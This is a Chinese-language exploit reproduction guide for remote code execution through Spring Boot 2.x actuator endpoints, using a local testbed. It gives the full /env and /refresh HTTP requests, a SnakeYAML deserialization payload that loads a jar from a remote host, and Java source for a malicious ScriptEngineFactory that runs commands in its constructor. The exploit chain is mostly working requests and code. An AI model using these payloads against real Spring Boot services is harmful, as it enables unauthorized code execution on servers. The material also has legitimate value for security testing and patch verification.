Spring Boot 修改环境属性导致的rce¶
一、漏洞简介¶
二、漏洞影响¶
Spring Boot 2.x
三、复现过程¶
环境下载 https://github.com/ianxtianxt/actuator-testbed
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml
该请求修改了“ spring.cloud.bootstrap.location”属性,该属性用于加载外部配置并以YAML格式解析它。为了做到这一点,我们还需要调用“ / refresh”端点。
POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
从远程服务器获取YAML配置时,将使用SnakeYAML库进行解析,该库也容易受到反序列化攻击。有效载荷(yaml-payload.yml)可以通过使用前述的Marshalsec研究生成:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]
该文件的反序列化将触发提供的URLClassLoader的ScriptEngineManager构造函数的执行。简而言之,它导致了**'java.util.ServiceLoader#load(java.lang.Class ,java.lang.ClassLoader)'**方法,该方法试图在所有库中查找'ScriptEngineFactory'接口的所有实现。在类路径中。由于我们可以通过URLClassLoader添加新的库,因此我们可以在其中包含恶意字节码的情况下为新的'ScriptEngineFactory'提供服务。为此,我们需要使用以下必需文件创建一个jar归档文件:https://github.com/ianxtianxt/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java应该包含实际的字节码,并在构造函数中带有恶意负载。
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
https://github.com/ianxtianxt/yaml-payload/blob/master/src/META-INF/services/javax.script.ScriptEngineFactory
应该只是一个包含对'artsploit.AwesomeScriptEngineFactory'的完整引用的文本文件,以便ServiceLoader知道在哪里可以找到该类:artsploit.AwesomeScriptEngineFactory同样,这种利用技术要求弹簧云位于类路径中,但是与Eureka的XStream有效负载相比,它甚至可以在最新版本中使用